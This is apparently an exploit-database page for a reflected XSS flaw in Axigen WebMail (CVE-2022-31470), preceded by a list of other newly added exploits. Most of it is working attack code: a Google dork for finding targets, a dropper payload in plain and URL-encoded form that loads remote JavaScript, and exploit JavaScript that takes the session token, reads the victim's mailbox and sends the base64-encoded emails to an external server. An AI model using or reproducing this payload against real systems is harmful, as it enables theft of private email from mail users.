cbe784b087
16 changes to exploits/shellcodes/ghdb Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities Axigen < 10.3.3.47_ 10.2.3.12 - Reflected XSS Drupal 10.1.2 - web-cache-poisoning-External-service-interaction Jorani v1.0.3-(c)2014-2023 - XSS Reflected & Information Disclosure soosyze 2.0.0 - File Upload SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection Wordpress Plugin Elementor 3.5.5 - Iframe Injection Wp2Fac - OS Command Injection Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE) SyncBreeze 15.2.24 - 'login' Denial of Service GOM Player 2.3.90.5360 - Buffer Overflow (PoC) GOM Player 2.3.90.5360 - Remote Code Execution (RCE) Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
80 lines
No EOL
2.7 KiB
Text
80 lines
No EOL
2.7 KiB
Text
# Exploit Title: Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS
|
||
# Google Dork: inurl:passwordexpired=yes
|
||
# Date: 2023-08-21
|
||
# Exploit Author: AmirZargham
|
||
# Vendor Homepage: https://www.axigen.com/
|
||
# Software Link: https://www.axigen.com/mail-server/download/
|
||
# Version: (10.5.0–4370c946) and older version of Axigen WebMail
|
||
# Tested on: firefox,chrome
|
||
# CVE: CVE-2022-31470
|
||
|
||
Exploit
|
||
We use the second Reflected XSS to exploit this vulnerability, create a
|
||
malicious link, and steal user emails.
|
||
|
||
Dropper code
|
||
This dropper code, loads and executes JavaScript exploit code from a remote
|
||
server.
|
||
|
||
');
|
||
x = document.createElement('script');
|
||
x.src = 'https://example.com/exploit.js';
|
||
window.addEventListener('DOMContentLoaded',function y(){
|
||
document.body.appendChild(x)
|
||
})//
|
||
|
||
|
||
|
||
Encoded form
|
||
|
||
/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27
|
||
https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//
|
||
|
||
|
||
Exploit code
|
||
|
||
xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
|
||
XMLHttpRequest();
|
||
oob_server = 'https://example.com/';
|
||
var script_tag = document.createElement('script');
|
||
|
||
xhr1.open('GET', '/', true);
|
||
xhr1.onreadystatechange = () => {
|
||
if (xhr1.readyState === XMLHttpRequest.DONE) {
|
||
_h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
|
||
xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
|
||
true);
|
||
xhr2.setRequestHeader('Content-Type', 'application/json');
|
||
xhr2.onreadystatechange = () => {
|
||
if (xhr2.readyState === XMLHttpRequest.DONE) {
|
||
if (xhr2.status === 401){
|
||
script_tag.src =
|
||
`${oob_server}?status=session_expired&domain=${document.domain}`;
|
||
document.body.appendChild(script_tag);
|
||
} else {
|
||
resp = xhr2.responseText;
|
||
folderId = JSON.parse(resp)["mails"][0]["folderId"];
|
||
xhr3.open('GET',
|
||
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
|
||
xhr3.onreadystatechange = () => {
|
||
if (xhr3.readyState === XMLHttpRequest.DONE) {
|
||
emails = xhr3.responseText;
|
||
script_tag.src =
|
||
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
|
||
document.body.appendChild(script_tag);
|
||
}
|
||
};
|
||
xhr3.send();
|
||
}
|
||
}
|
||
};
|
||
var body = JSON.stringify({isUnread: false});
|
||
xhr2.send(body);
|
||
}
|
||
};
|
||
xhr1.send();
|
||
|
||
|
||
Combining dropper and exploit
|
||
You can host the exploit code somewhere and then address it in the dropper
|
||
code. |